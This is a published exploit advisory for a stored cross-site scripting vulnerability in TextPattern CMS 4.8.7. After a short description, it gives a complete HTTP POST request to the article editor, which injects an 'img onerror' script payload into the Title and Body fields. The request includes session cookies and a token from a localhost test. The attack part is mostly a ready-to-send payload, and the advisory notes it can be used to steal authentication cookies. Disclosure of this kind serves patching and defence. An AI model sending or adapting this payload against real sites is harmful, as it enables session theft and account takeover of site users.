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TextPattern CMS 4.8.7 Cross Site Scripting

TextPattern CMS 4.8.7 Cross Site Scripting
Posted Jun 10, 2021
Authored by Mert Das

TextPattern CMS version 4.8.7 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 0a2466e19f21b12c56173ee10106824b

TextPattern CMS 4.8.7 Cross Site Scripting

Change Mirror Download
# Exploit Title: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.8.7 is vulnerable; other versions may also be affected.

Header

-POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1356274838636633083297009973
Content-Length: 4574
Origin: http://localhost
Connection: close
Referer: http://localhost/textpattern/textpattern/index.php?event=article&ID=2%27
Cookie: txp_login=admin%2C4c96cd31447df40aa2ceea6e052132b6; txp_login_public=895102db7badmin; language=en-gb; currency=USD; PHPSESSID=280d77vpc9brntkqclej5her85

-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="ID"

2
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="event"

article
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="step"

edit
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sPosted"

1623260284
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sLastMod"

1623260295
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="AuthorID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="LastModID"

admin
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Title"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_body"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Body"

"><img src=1 onerror=alert(1)>
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="textile_excerpt"

1
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Excerpt"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Status"

4
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Section"

articles
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="override_form"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="year"

2021
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="month"

06
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="day"

09
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="hour"

19
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="minute"

38
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="second"

04
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_year"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_month"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_day"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_hour"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_minute"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="exp_second"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="sExpires"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Category2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="url_title"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="description"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Keywords"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="Image"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_1"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="custom_2"


-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="save"

Save
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="app_mode"

async
-----------------------------1356274838636633083297009973
Content-Disposition: form-data; name="_txp_token"

346eeab2db04acf953d13529f6be3a74
-----------------------------1356274838636633083297009973--
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